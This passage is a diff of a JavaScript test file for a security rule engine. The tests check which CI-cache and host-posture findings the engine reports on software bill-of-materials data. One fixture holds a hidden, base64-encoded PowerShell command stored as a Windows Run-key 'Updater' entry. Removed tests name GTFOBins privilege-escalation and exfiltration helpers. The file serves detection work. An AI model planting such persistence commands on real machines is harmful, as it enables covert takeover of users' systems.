|
+
],
|
|
2311
|
+
},
|
|
2312
|
+
],
|
|
2313
|
+
[],
|
|
2314
|
+
[
|
|
2315
|
+
{
|
|
2316
|
+
type: "application",
|
|
2317
|
+
name: "setup-node",
|
|
2318
|
+
version: "v4",
|
|
2319
|
+
purl: "pkg:github/actions/setup-node@v4",
|
|
2320
|
+
"bom-ref": "pkg:github/actions/setup-node@v4",
|
|
2321
|
+
properties: [
|
|
2322
|
+
{
|
|
2323
|
+
name: "cdx:github:action:uses",
|
|
2324
|
+
value: "actions/setup-node@v4",
|
|
2325
|
+
},
|
|
2326
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2327
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
|
|
2328
|
+
],
|
|
2329
|
+
},
|
|
2330
|
+
],
|
|
2331
|
+
);
|
|
1518
2332
|
|
|
1519
2333
|
const findings = await evaluateRule(rule, bom);
|
|
1520
|
-
assert.
|
|
1521
|
-
assert.strictEqual(findings[0].severity, "high");
|
|
2334
|
+
assert.strictEqual(findings.length, 0);
|
|
1522
2335
|
});
|
|
1523
2336
|
|
|
1524
|
-
it("should detect
|
|
2337
|
+
it("should not detect disabled npm cache for local path manifest sources (CI-022)", async () => {
|
|
1525
2338
|
const rules = await loadRules(RULES_DIR);
|
|
1526
|
-
const rule = rules.find((r) => r.id === "
|
|
1527
|
-
assert.ok(rule, "
|
|
2339
|
+
const rule = rules.find((r) => r.id === "CI-022");
|
|
2340
|
+
assert.ok(rule, "CI-022 rule should exist");
|
|
1528
2341
|
|
|
1529
|
-
const bom = makeBom(
|
|
1530
|
-
|
|
1531
|
-
|
|
1532
|
-
|
|
1533
|
-
|
|
1534
|
-
|
|
1535
|
-
|
|
1536
|
-
|
|
1537
|
-
|
|
1538
|
-
|
|
1539
|
-
|
|
1540
|
-
|
|
1541
|
-
|
|
1542
|
-
|
|
1543
|
-
|
|
1544
|
-
|
|
2342
|
+
const bom = makeBom(
|
|
2343
|
+
[
|
|
2344
|
+
{
|
|
2345
|
+
type: "library",
|
|
2346
|
+
name: "local-dep",
|
|
2347
|
+
version: "1.0.0",
|
|
2348
|
+
purl: "pkg:npm/local-dep@1.0.0",
|
|
2349
|
+
"bom-ref": "pkg:npm/local-dep@1.0.0",
|
|
2350
|
+
externalReferences: [
|
|
2351
|
+
{
|
|
2352
|
+
type: "distribution",
|
|
2353
|
+
url: "file:../libs/local-dep",
|
|
2354
|
+
},
|
|
2355
|
+
],
|
|
2356
|
+
properties: [
|
|
2357
|
+
{
|
|
2358
|
+
name: "cdx:npm:manifestSourceType",
|
|
2359
|
+
value: "path",
|
|
2360
|
+
},
|
|
2361
|
+
{
|
|
2362
|
+
name: "cdx:npm:manifestSource",
|
|
2363
|
+
value: "file:../libs/local-dep",
|
|
2364
|
+
},
|
|
2365
|
+
],
|
|
2366
|
+
},
|
|
2367
|
+
],
|
|
2368
|
+
[],
|
|
2369
|
+
[
|
|
2370
|
+
{
|
|
2371
|
+
type: "application",
|
|
2372
|
+
name: "setup-node",
|
|
2373
|
+
version: "v4",
|
|
2374
|
+
purl: "pkg:github/actions/setup-node@v4",
|
|
2375
|
+
"bom-ref": "pkg:github/actions/setup-node@v4",
|
|
2376
|
+
properties: [
|
|
2377
|
+
{
|
|
2378
|
+
name: "cdx:github:action:uses",
|
|
2379
|
+
value: "actions/setup-node@v4",
|
|
2380
|
+
},
|
|
2381
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2382
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
|
|
2383
|
+
],
|
|
2384
|
+
},
|
|
2385
|
+
],
|
|
2386
|
+
);
|
|
1545
2387
|
|
|
1546
2388
|
const findings = await evaluateRule(rule, bom);
|
|
1547
|
-
assert.
|
|
1548
|
-
assert.strictEqual(findings[0].severity, "critical");
|
|
2389
|
+
assert.strictEqual(findings.length, 0);
|
|
1549
2390
|
});
|
|
1550
2391
|
|
|
1551
|
-
it("should detect
|
|
2392
|
+
it("should detect disabled Python cache when pylock sources use remote artifacts (CI-023)", async () => {
|
|
1552
2393
|
const rules = await loadRules(RULES_DIR);
|
|
1553
|
-
const rule = rules.find((r) => r.id === "
|
|
1554
|
-
assert.ok(rule, "
|
|
2394
|
+
const rule = rules.find((r) => r.id === "CI-023");
|
|
2395
|
+
assert.ok(rule, "CI-023 rule should exist");
|
|
1555
2396
|
|
|
1556
|
-
const bom = makeBom(
|
|
1557
|
-
|
|
1558
|
-
|
|
1559
|
-
|
|
1560
|
-
|
|
1561
|
-
|
|
1562
|
-
|
|
1563
|
-
|
|
1564
|
-
|
|
1565
|
-
|
|
1566
|
-
|
|
2397
|
+
const bom = makeBom(
|
|
2398
|
+
[
|
|
2399
|
+
{
|
|
2400
|
+
type: "library",
|
|
2401
|
+
name: "requests",
|
|
2402
|
+
version: "2.32.0",
|
|
2403
|
+
purl: "pkg:pypi/requests@2.32.0",
|
|
2404
|
+
"bom-ref": "pkg:pypi/requests@2.32.0",
|
|
2405
|
+
properties: [
|
|
2406
|
+
{
|
|
2407
|
+
name: "cdx:pypi:manifestSourceType",
|
|
2408
|
+
value: "url",
|
|
2409
|
+
},
|
|
2410
|
+
{
|
|
2411
|
+
name: "cdx:pypi:manifestSource",
|
|
2412
|
+
value:
|
|
2413
|
+
"https://files.pythonhosted.org/packages/requests-2.32.0.tar.gz",
|
|
2414
|
+
},
|
|
2415
|
+
],
|
|
2416
|
+
},
|
|
2417
|
+
],
|
|
2418
|
+
[],
|
|
2419
|
+
[
|
|
2420
|
+
{
|
|
2421
|
+
type: "application",
|
|
2422
|
+
name: "setup-python",
|
|
2423
|
+
version: "v5",
|
|
2424
|
+
purl: "pkg:github/actions/setup-python@v5",
|
|
2425
|
+
"bom-ref": "pkg:github/actions/setup-python@v5",
|
|
2426
|
+
properties: [
|
|
2427
|
+
{
|
|
2428
|
+
name: "cdx:github:action:uses",
|
|
2429
|
+
value: "actions/setup-python@v5",
|
|
2430
|
+
},
|
|
2431
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2432
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
|
|
2433
|
+
{
|
|
2434
|
+
name: "cdx:github:action:buildCacheDisableInput",
|
|
2435
|
+
value: "cache",
|
|
2436
|
+
},
|
|
2437
|
+
{
|
|
2438
|
+
name: "cdx:github:action:buildCacheDisableValue",
|
|
2439
|
+
value: "false",
|
|
2440
|
+
},
|
|
2441
|
+
{
|
|
2442
|
+
name: "cdx:github:workflow:file",
|
|
2443
|
+
value: ".github/workflows/ci.yml",
|
|
2444
|
+
},
|
|
2445
|
+
],
|
|
2446
|
+
},
|
|
2447
|
+
],
|
|
2448
|
+
);
|
|
1567
2449
|
|
|
1568
2450
|
const findings = await evaluateRule(rule, bom);
|
|
1569
|
-
assert.ok(findings.length > 0, "Should detect
|
|
2451
|
+
assert.ok(findings.length > 0, "Should detect disabled Python cache");
|
|
1570
2452
|
assert.strictEqual(findings[0].severity, "medium");
|
|
1571
2453
|
});
|
|
1572
2454
|
|
|
1573
|
-
it("should detect
|
|
2455
|
+
it("should detect disabled Python cache for git manifest sources (CI-023)", async () => {
|
|
1574
2456
|
const rules = await loadRules(RULES_DIR);
|
|
1575
|
-
const rule = rules.find((r) => r.id === "
|
|
1576
|
-
assert.ok(rule, "
|
|
2457
|
+
const rule = rules.find((r) => r.id === "CI-023");
|
|
2458
|
+
assert.ok(rule, "CI-023 rule should exist");
|
|
1577
2459
|
|
|
1578
|
-
const bom = makeBom(
|
|
1579
|
-
|
|
1580
|
-
|
|
1581
|
-
|
|
1582
|
-
|
|
1583
|
-
|
|
1584
|
-
|
|
1585
|
-
|
|
1586
|
-
|
|
1587
|
-
|
|
1588
|
-
|
|
1589
|
-
|
|
1590
|
-
|
|
2460
|
+
const bom = makeBom(
|
|
2461
|
+
[
|
|
2462
|
+
{
|
|
2463
|
+
type: "library",
|
|
2464
|
+
name: "private-lib",
|
|
2465
|
+
version: "1.0.0",
|
|
2466
|
+
purl: "pkg:pypi/private-lib@1.0.0",
|
|
2467
|
+
"bom-ref": "pkg:pypi/private-lib@1.0.0",
|
|
2468
|
+
properties: [
|
|
2469
|
+
{
|
|
2470
|
+
name: "cdx:pypi:manifestSourceType",
|
|
2471
|
+
value: "git",
|
|
2472
|
+
},
|
|
2473
|
+
{
|
|
2474
|
+
name: "cdx:pypi:manifestSource",
|
|
2475
|
+
value: "git+https://github.com/acme/private-lib.git",
|
|
2476
|
+
},
|
|
2477
|
+
],
|
|
2478
|
+
},
|
|
2479
|
+
],
|
|
2480
|
+
[],
|
|
2481
|
+
[
|
|
2482
|
+
{
|
|
2483
|
+
type: "application",
|
|
2484
|
+
name: "setup-python",
|
|
2485
|
+
version: "v5",
|
|
2486
|
+
purl: "pkg:github/actions/setup-python@v5",
|
|
2487
|
+
"bom-ref": "pkg:github/actions/setup-python@v5",
|
|
2488
|
+
properties: [
|
|
2489
|
+
{
|
|
2490
|
+
name: "cdx:github:action:uses",
|
|
2491
|
+
value: "actions/setup-python@v5",
|
|
2492
|
+
},
|
|
2493
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2494
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
|
|
2495
|
+
],
|
|
2496
|
+
},
|
|
2497
|
+
],
|
|
2498
|
+
);
|
|
1591
2499
|
|
|
1592
2500
|
const findings = await evaluateRule(rule, bom);
|
|
1593
|
-
assert.ok(findings.length > 0, "Should detect
|
|
1594
|
-
assert.strictEqual(findings[0].severity, "high");
|
|
2501
|
+
assert.ok(findings.length > 0, "Should detect disabled Python cache");
|
|
1595
2502
|
});
|
|
1596
2503
|
|
|
1597
|
-
it("should detect
|
|
2504
|
+
it("should not detect disabled Python cache for registry-only lockfile sources (CI-023)", async () => {
|
|
1598
2505
|
const rules = await loadRules(RULES_DIR);
|
|
1599
|
-
const rule = rules.find((r) => r.id === "
|
|
1600
|
-
assert.ok(rule, "
|
|
2506
|
+
const rule = rules.find((r) => r.id === "CI-023");
|
|
2507
|
+
assert.ok(rule, "CI-023 rule should exist");
|
|
1601
2508
|
|
|
1602
|
-
const bom = makeBom(
|
|
1603
|
-
|
|
1604
|
-
|
|
1605
|
-
|
|
1606
|
-
|
|
1607
|
-
|
|
1608
|
-
|
|
1609
|
-
|
|
1610
|
-
|
|
1611
|
-
|
|
1612
|
-
|
|
1613
|
-
|
|
1614
|
-
|
|
2509
|
+
const bom = makeBom(
|
|
2510
|
+
[
|
|
2511
|
+
{
|
|
2512
|
+
type: "library",
|
|
2513
|
+
name: "requests",
|
|
2514
|
+
version: "2.32.0",
|
|
2515
|
+
purl: "pkg:pypi/requests@2.32.0",
|
|
2516
|
+
"bom-ref": "pkg:pypi/requests@2.32.0",
|
|
2517
|
+
properties: [
|
|
2518
|
+
{
|
|
2519
|
+
name: "cdx:pylock:archive",
|
|
2520
|
+
value:
|
|
2521
|
+
'{"url":"https://files.pythonhosted.org/packages/requests-2.32.0.tar.gz"}',
|
|
2522
|
+
},
|
|
2523
|
+
],
|
|
2524
|
+
},
|
|
2525
|
+
],
|
|
2526
|
+
[],
|
|
2527
|
+
[
|
|
2528
|
+
{
|
|
2529
|
+
type: "application",
|
|
2530
|
+
name: "setup-python",
|
|
2531
|
+
version: "v5",
|
|
2532
|
+
purl: "pkg:github/actions/setup-python@v5",
|
|
2533
|
+
"bom-ref": "pkg:github/actions/setup-python@v5",
|
|
2534
|
+
properties: [
|
|
2535
|
+
{
|
|
2536
|
+
name: "cdx:github:action:uses",
|
|
2537
|
+
value: "actions/setup-python@v5",
|
|
2538
|
+
},
|
|
2539
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2540
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
|
|
2541
|
+
],
|
|
2542
|
+
},
|
|
2543
|
+
],
|
|
2544
|
+
);
|
|
1615
2545
|
|
|
1616
2546
|
const findings = await evaluateRule(rule, bom);
|
|
1617
|
-
assert.
|
|
1618
|
-
findings.length > 0,
|
|
1619
|
-
"Should detect ALL=(ALL) ALL sudoers policy",
|
|
1620
|
-
);
|
|
1621
|
-
assert.strictEqual(findings[0].severity, "high");
|
|
2547
|
+
assert.strictEqual(findings.length, 0);
|
|
1622
2548
|
});
|
|
1623
2549
|
|
|
1624
|
-
it("should detect
|
|
2550
|
+
it("should not detect disabled Python cache for local path manifest sources (CI-023)", async () => {
|
|
1625
2551
|
const rules = await loadRules(RULES_DIR);
|
|
1626
|
-
const rule = rules.find((r) => r.id === "
|
|
1627
|
-
assert.ok(rule, "
|
|
2552
|
+
const rule = rules.find((r) => r.id === "CI-023");
|
|
2553
|
+
assert.ok(rule, "CI-023 rule should exist");
|
|
1628
2554
|
|
|
1629
|
-
const bom = makeBom(
|
|
1630
|
-
|
|
1631
|
-
|
|
1632
|
-
|
|
1633
|
-
|
|
1634
|
-
|
|
1635
|
-
|
|
1636
|
-
|
|
1637
|
-
|
|
1638
|
-
|
|
1639
|
-
|
|
1640
|
-
|
|
1641
|
-
|
|
1642
|
-
|
|
2555
|
+
const bom = makeBom(
|
|
2556
|
+
[
|
|
2557
|
+
{
|
|
2558
|
+
type: "library",
|
|
2559
|
+
name: "local-lib",
|
|
2560
|
+
version: "1.0.0",
|
|
2561
|
+
purl: "pkg:pypi/local-lib@1.0.0",
|
|
2562
|
+
"bom-ref": "pkg:pypi/local-lib@1.0.0",
|
|
2563
|
+
properties: [
|
|
2564
|
+
{
|
|
2565
|
+
name: "cdx:pypi:manifestSourceType",
|
|
2566
|
+
value: "path",
|
|
2567
|
+
},
|
|
2568
|
+
{
|
|
2569
|
+
name: "cdx:pypi:manifestSource",
|
|
2570
|
+
value: "../libs/local-lib",
|
|
2571
|
+
},
|
|
2572
|
+
],
|
|
2573
|
+
},
|
|
2574
|
+
],
|
|
2575
|
+
[],
|
|
2576
|
+
[
|
|
2577
|
+
{
|
|
2578
|
+
type: "application",
|
|
2579
|
+
name: "setup-python",
|
|
2580
|
+
version: "v5",
|
|
2581
|
+
purl: "pkg:github/actions/setup-python@v5",
|
|
2582
|
+
"bom-ref": "pkg:github/actions/setup-python@v5",
|
|
2583
|
+
properties: [
|
|
2584
|
+
{
|
|
2585
|
+
name: "cdx:github:action:uses",
|
|
2586
|
+
value: "actions/setup-python@v5",
|
|
2587
|
+
},
|
|
2588
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2589
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
|
|
2590
|
+
],
|
|
2591
|
+
},
|
|
2592
|
+
],
|
|
2593
|
+
);
|
|
1643
2594
|
|
|
1644
2595
|
const findings = await evaluateRule(rule, bom);
|
|
1645
|
-
assert.
|
|
1646
|
-
assert.strictEqual(findings[0].severity, "high");
|
|
2596
|
+
assert.strictEqual(findings.length, 0);
|
|
1647
2597
|
});
|
|
1648
2598
|
|
|
1649
|
-
it("should detect
|
|
2599
|
+
it("should detect disabled Cargo cache for git manifest sources (CI-024)", async () => {
|
|
1650
2600
|
const rules = await loadRules(RULES_DIR);
|
|
1651
|
-
const rule = rules.find((r) => r.id === "
|
|
1652
|
-
assert.ok(rule, "
|
|
2601
|
+
const rule = rules.find((r) => r.id === "CI-024");
|
|
2602
|
+
assert.ok(rule, "CI-024 rule should exist");
|
|
1653
2603
|
|
|
1654
|
-
const bom = makeBom(
|
|
1655
|
-
|
|
1656
|
-
|
|
1657
|
-
|
|
1658
|
-
|
|
1659
|
-
|
|
1660
|
-
|
|
1661
|
-
|
|
2604
|
+
const bom = makeBom(
|
|
2605
|
+
[
|
|
2606
|
+
{
|
|
2607
|
+
type: "library",
|
|
2608
|
+
name: "git-crate",
|
|
2609
|
+
version: "git+https://github.com/acme/git-crate.git",
|
|
2610
|
+
purl: "pkg:cargo/git-crate@git+https://github.com/acme/git-crate.git",
|
|
2611
|
+
"bom-ref":
|
|
2612
|
+
"pkg:cargo/git-crate@git+https://github.com/acme/git-crate.git",
|
|
2613
|
+
properties: [
|
|
2614
|
+
{
|
|
2615
|
+
name: "cdx:cargo:git",
|
|
2616
|
+
value: "https://github.com/acme/git-crate.git",
|
|
2617
|
+
},
|
|
2618
|
+
],
|
|
2619
|
+
},
|
|
2620
|
+
],
|
|
2621
|
+
[],
|
|
2622
|
+
[
|
|
2623
|
+
{
|
|
2624
|
+
type: "application",
|
|
2625
|
+
name: "setup-rust",
|
|
2626
|
+
version: "v1",
|
|
2627
|
+
purl: "pkg:github/moonrepo/setup-rust@v1",
|
|
2628
|
+
"bom-ref": "pkg:github/moonrepo/setup-rust@v1",
|
|
2629
|
+
properties: [
|
|
2630
|
+
{
|
|
2631
|
+
name: "cdx:github:action:uses",
|
|
2632
|
+
value: "moonrepo/setup-rust@v1",
|
|
2633
|
+
},
|
|
2634
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2635
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "cargo" },
|
|
2636
|
+
],
|
|
2637
|
+
},
|
|
2638
|
+
],
|
|
2639
|
+
);
|
|
1662
2640
|
|
|
1663
2641
|
const findings = await evaluateRule(rule, bom);
|
|
1664
|
-
assert.ok(findings.length > 0, "Should detect
|
|
1665
|
-
assert.strictEqual(findings[0].severity, "
|
|
2642
|
+
assert.ok(findings.length > 0, "Should detect disabled Cargo cache");
|
|
2643
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
1666
2644
|
});
|
|
1667
2645
|
|
|
1668
|
-
it("should detect
|
|
2646
|
+
it("should not detect disabled Cargo cache for local path manifest sources (CI-024)", async () => {
|
|
1669
2647
|
const rules = await loadRules(RULES_DIR);
|
|
1670
|
-
const rule = rules.find((r) => r.id === "
|
|
1671
|
-
assert.ok(rule, "
|
|
2648
|
+
const rule = rules.find((r) => r.id === "CI-024");
|
|
2649
|
+
assert.ok(rule, "CI-024 rule should exist");
|
|
1672
2650
|
|
|
1673
|
-
const bom = makeBom(
|
|
1674
|
-
|
|
1675
|
-
|
|
1676
|
-
|
|
1677
|
-
|
|
1678
|
-
|
|
1679
|
-
|
|
1680
|
-
|
|
1681
|
-
|
|
1682
|
-
|
|
1683
|
-
|
|
1684
|
-
|
|
1685
|
-
|
|
1686
|
-
|
|
1687
|
-
|
|
1688
|
-
|
|
1689
|
-
|
|
1690
|
-
|
|
1691
|
-
|
|
1692
|
-
|
|
1693
|
-
|
|
1694
|
-
|
|
1695
|
-
|
|
1696
|
-
|
|
1697
|
-
|
|
1698
|
-
|
|
2651
|
+
const bom = makeBom(
|
|
2652
|
+
[
|
|
2653
|
+
{
|
|
2654
|
+
type: "library",
|
|
2655
|
+
name: "path-crate",
|
|
2656
|
+
version: "path+../path-crate",
|
|
2657
|
+
purl: "pkg:cargo/path-crate@path+../path-crate",
|
|
2658
|
+
"bom-ref": "pkg:cargo/path-crate@path+../path-crate",
|
|
2659
|
+
properties: [
|
|
2660
|
+
{
|
|
2661
|
+
name: "cdx:cargo:path",
|
|
2662
|
+
value: "../path-crate",
|
|
2663
|
+
},
|
|
2664
|
+
],
|
|
2665
|
+
},
|
|
2666
|
+
],
|
|
2667
|
+
[],
|
|
2668
|
+
[
|
|
2669
|
+
{
|
|
2670
|
+
type: "application",
|
|
2671
|
+
name: "setup-rust",
|
|
2672
|
+
version: "v1",
|
|
2673
|
+
purl: "pkg:github/moonrepo/setup-rust@v1",
|
|
2674
|
+
"bom-ref": "pkg:github/moonrepo/setup-rust@v1",
|
|
2675
|
+
properties: [
|
|
2676
|
+
{
|
|
2677
|
+
name: "cdx:github:action:uses",
|
|
2678
|
+
value: "moonrepo/setup-rust@v1",
|
|
2679
|
+
},
|
|
2680
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2681
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "cargo" },
|
|
2682
|
+
],
|
|
2683
|
+
},
|
|
2684
|
+
],
|
|
2685
|
+
);
|
|
1699
2686
|
|
|
1700
2687
|
const findings = await evaluateRule(rule, bom);
|
|
1701
|
-
assert.
|
|
1702
|
-
assert.strictEqual(findings[0].severity, "critical");
|
|
2688
|
+
assert.strictEqual(findings.length, 0);
|
|
1703
2689
|
});
|
|
1704
2690
|
|
|
1705
|
-
it("should detect
|
|
2691
|
+
it("should detect root authorized_keys without restrictions (OBOM-LNX-003)", async () => {
|
|
1706
2692
|
const rules = await loadRules(RULES_DIR);
|
|
1707
|
-
const rule = rules.find((r) => r.id === "
|
|
1708
|
-
assert.ok(rule, "
|
|
2693
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-003");
|
|
2694
|
+
assert.ok(rule, "OBOM-LNX-003 rule should exist");
|
|
1709
2695
|
|
|
1710
2696
|
const bom = makeBom([
|
|
1711
2697
|
{
|
|
1712
|
-
type: "
|
|
1713
|
-
name: "
|
|
1714
|
-
version: "",
|
|
2698
|
+
type: "data",
|
|
2699
|
+
name: "root",
|
|
2700
|
+
version: "ssh-rsa",
|
|
1715
2701
|
description: "",
|
|
1716
|
-
purl: "pkg:
|
|
1717
|
-
"bom-ref": "pkg:
|
|
2702
|
+
purl: "pkg:swid/root-authorized-keys",
|
|
2703
|
+
"bom-ref": "pkg:swid/root-authorized-keys",
|
|
1718
2704
|
properties: [
|
|
1719
|
-
{ name: "
|
|
1720
|
-
{ name: "
|
|
1721
|
-
{ name: "
|
|
1722
|
-
{ name: "cdx:gtfobins:functions", value: "shell,command" },
|
|
1723
|
-
{
|
|
1724
|
-
name: "cdx:gtfobins:privilegedContexts",
|
|
1725
|
-
value: "capabilities",
|
|
1726
|
-
},
|
|
1727
|
-
{ name: "cdx:gtfobins:riskTags", value: "container-escape" },
|
|
2705
|
+
{ name: "cdx:osquery:category", value: "authorized_keys_snapshot" },
|
|
2706
|
+
{ name: "key_file", value: "/root/.ssh/authorized_keys" },
|
|
2707
|
+
{ name: "options", value: "" },
|
|
1728
2708
|
],
|
|
1729
2709
|
},
|
|
1730
2710
|
]);
|
|
1731
2711
|
|
|
1732
2712
|
const findings = await evaluateRule(rule, bom);
|
|
1733
|
-
assert.ok(
|
|
1734
|
-
|
|
2713
|
+
assert.ok(
|
|
2714
|
+
findings.length > 0,
|
|
2715
|
+
"Should detect unrestricted root authorized_keys entry",
|
|
2716
|
+
);
|
|
2717
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
1735
2718
|
});
|
|
1736
2719
|
|
|
1737
|
-
it("should detect
|
|
2720
|
+
it("should detect degraded Windows Security Center posture (OBOM-WIN-002)", async () => {
|
|
1738
2721
|
const rules = await loadRules(RULES_DIR);
|
|
1739
|
-
const rule = rules.find((r) => r.id === "
|
|
1740
|
-
assert.ok(rule, "
|
|
2722
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-002");
|
|
2723
|
+
assert.ok(rule, "OBOM-WIN-002 rule should exist");
|
|
1741
2724
|
|
|
1742
2725
|
const bom = makeBom([
|
|
1743
|
-
|
|
1744
|
-
|
|
1745
|
-
|
|
1746
|
-
version: "",
|
|
1747
|
-
description: "",
|
|
1748
|
-
purl: "pkg:generic/bash",
|
|
1749
|
-
"bom-ref": "pkg:generic/bash",
|
|
1750
|
-
properties: [
|
|
1751
|
-
{ name: "SrcFile", value: "/usr/bin/bash" },
|
|
1752
|
-
{ name: "internal:has_setgid", value: "true" },
|
|
1753
|
-
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
1754
|
-
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
1755
|
-
{ name: "cdx:gtfobins:functions", value: "shell,file-read,upload" },
|
|
1756
|
-
{ name: "cdx:gtfobins:privilegedContexts", value: "suid" },
|
|
1757
|
-
{
|
|
1758
|
-
name: "cdx:gtfobins:riskTags",
|
|
1759
|
-
value: "data-exfiltration,privilege-escalation",
|
|
1760
|
-
},
|
|
1761
|
-
],
|
|
1762
|
-
},
|
|
2726
|
+
makeComponent("Poor", "Poor", [
|
|
2727
|
+
["cdx:osquery:category", "windows_security_center"],
|
|
2728
|
+
]),
|
|
1763
2729
|
]);
|
|
1764
2730
|
|
|
1765
2731
|
const findings = await evaluateRule(rule, bom);
|
|
1766
|
-
assert.ok(
|
|
1767
|
-
findings.length > 0,
|
|
1768
|
-
"Should detect privileged GTFOBins exfiltration helper",
|
|
1769
|
-
);
|
|
2732
|
+
assert.ok(findings.length > 0, "Should detect unhealthy security center");
|
|
1770
2733
|
assert.strictEqual(findings[0].severity, "high");
|
|
1771
2734
|
});
|
|
1772
2735
|
|
|
1773
|
-
it("should detect
|
|
2736
|
+
it("should detect suspicious Windows run key command (OBOM-WIN-003)", async () => {
|
|
1774
2737
|
const rules = await loadRules(RULES_DIR);
|
|
1775
|
-
const rule = rules.find((r) => r.id === "
|
|
1776
|
-
assert.ok(rule, "
|
|
2738
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-003");
|
|
2739
|
+
assert.ok(rule, "OBOM-WIN-003 rule should exist");
|
|
1777
2740
|
|
|
1778
2741
|
const bom = makeBom([
|
|
1779
2742
|
{
|
|
1780
|
-
type: "
|
|
1781
|
-
name: "
|
|
2743
|
+
type: "data",
|
|
2744
|
+
name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
|
|
1782
2745
|
version: "",
|
|
1783
|
-
description:
|
|
1784
|
-
|
|
1785
|
-
|
|
2746
|
+
description:
|
|
2747
|
+
"powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA -w hidden",
|
|
2748
|
+
purl: "pkg:swid/windows-run-key-updater",
|
|
2749
|
+
"bom-ref": "pkg:swid/windows-run-key-updater",
|
|
1786
2750
|
properties: [
|
|
1787
|
-
{ name: "
|
|
1788
|
-
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
1789
|
-
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
1790
|
-
{
|
|
1791
|
-
name: "cdx:gtfobins:functions",
|
|
1792
|
-
value: "shell,library-load,privilege-escalation",
|
|
1793
|
-
},
|
|
1794
|
-
{
|
|
1795
|
-
name: "cdx:gtfobins:privilegedContexts",
|
|
1796
|
-
value: "sudo,suid",
|
|
1797
|
-
},
|
|
2751
|
+
{ name: "cdx:osquery:category", value: "windows_run_keys" },
|
|
1798
2752
|
],
|
|
1799
2753
|
},
|
|
1800
2754
|
]);
|
|
1801
2755
|
|
|
1802
2756
|
const findings = await evaluateRule(rule, bom);
|
|
1803
|
-
assert.ok(
|
|
1804
|
-
|
|
1805
|
-
"Should detect privileged GTFOBins library-load helper",
|
|
1806
|
-
);
|
|
1807
|
-
assert.strictEqual(findings[0].severity, "high");
|
|
2757
|
+
assert.ok(findings.length > 0, "Should detect suspicious run key command");
|
|
2758
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
1808
2759
|
});
|
|
1809
2760
|
|
|
1810
|
-
it("should detect
|
|
2761
|
+
it("should detect weak macOS ALF posture (OBOM-MAC-001)", async () => {
|
|
1811
2762
|
const rules = await loadRules(RULES_DIR);
|
|
1812
|
-
const rule = rules.find((r) => r.id === "
|
|
1813
|
-
assert.ok(rule, "
|
|
2763
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-001");
|
|
2764
|
+
assert.ok(rule, "OBOM-MAC-001 rule should exist");
|
|
1814
2765
|
|
|
1815
2766
|
const bom = makeBom([
|
|
1816
|
-
|
|
1817
|
-
|
|
1818
|
-
|
|
1819
|
-
|
|
1820
|
-
description: "",
|
|
1821
|
-
purl: "pkg:generic/bash",
|
|
1822
|
-
"bom-ref": "pkg:generic/bash",
|
|
1823
|
-
properties: [
|
|
1824
|
-
{ name: "SrcFile", value: "/usr/local/bin/bash" },
|
|
1825
|
-
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
1826
|
-
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
1827
|
-
{ name: "cdx:gtfobins:functions", value: "shell,upload,download" },
|
|
1828
|
-
{
|
|
1829
|
-
name: "cdx:gtfobins:riskTags",
|
|
1830
|
-
value: "data-exfiltration,lateral-movement",
|
|
1831
|
-
},
|
|
1832
|
-
],
|
|
1833
|
-
},
|
|
2767
|
+
makeComponent("alf", "0", [
|
|
2768
|
+
["cdx:osquery:category", "alf"],
|
|
2769
|
+
["stealth_enabled", "0"],
|
|
2770
|
+
]),
|
|
1834
2771
|
]);
|
|
1835
2772
|
|
|
1836
2773
|
const findings = await evaluateRule(rule, bom);
|
|
1837
|
-
assert.ok(
|
|
1838
|
-
|
|
1839
|
-
"Should detect mutable-path GTFOBins helper",
|
|
1840
|
-
);
|
|
1841
|
-
assert.strictEqual(findings[0].severity, "medium");
|
|
2774
|
+
assert.ok(findings.length > 0, "Should detect weak firewall posture");
|
|
2775
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1842
2776
|
});
|
|
1843
2777
|
|
|
1844
|
-
it("should detect
|
|
2778
|
+
it("should detect launchd temp-path persistence (OBOM-MAC-002)", async () => {
|
|
1845
2779
|
const rules = await loadRules(RULES_DIR);
|
|
1846
|
-
const rule = rules.find((r) => r.id === "
|
|
1847
|
-
assert.ok(rule, "
|
|
2780
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-002");
|
|
2781
|
+
assert.ok(rule, "OBOM-MAC-002 rule should exist");
|
|
1848
2782
|
|
|
1849
2783
|
const bom = makeBom([
|
|
1850
2784
|
{
|
|
1851
|
-
type: "
|
|
1852
|
-
name: "
|
|
2785
|
+
type: "data",
|
|
2786
|
+
name: "com.bad.agent",
|
|
1853
2787
|
version: "",
|
|
1854
2788
|
description: "",
|
|
1855
|
-
purl: "pkg:
|
|
1856
|
-
"bom-ref": "pkg:
|
|
2789
|
+
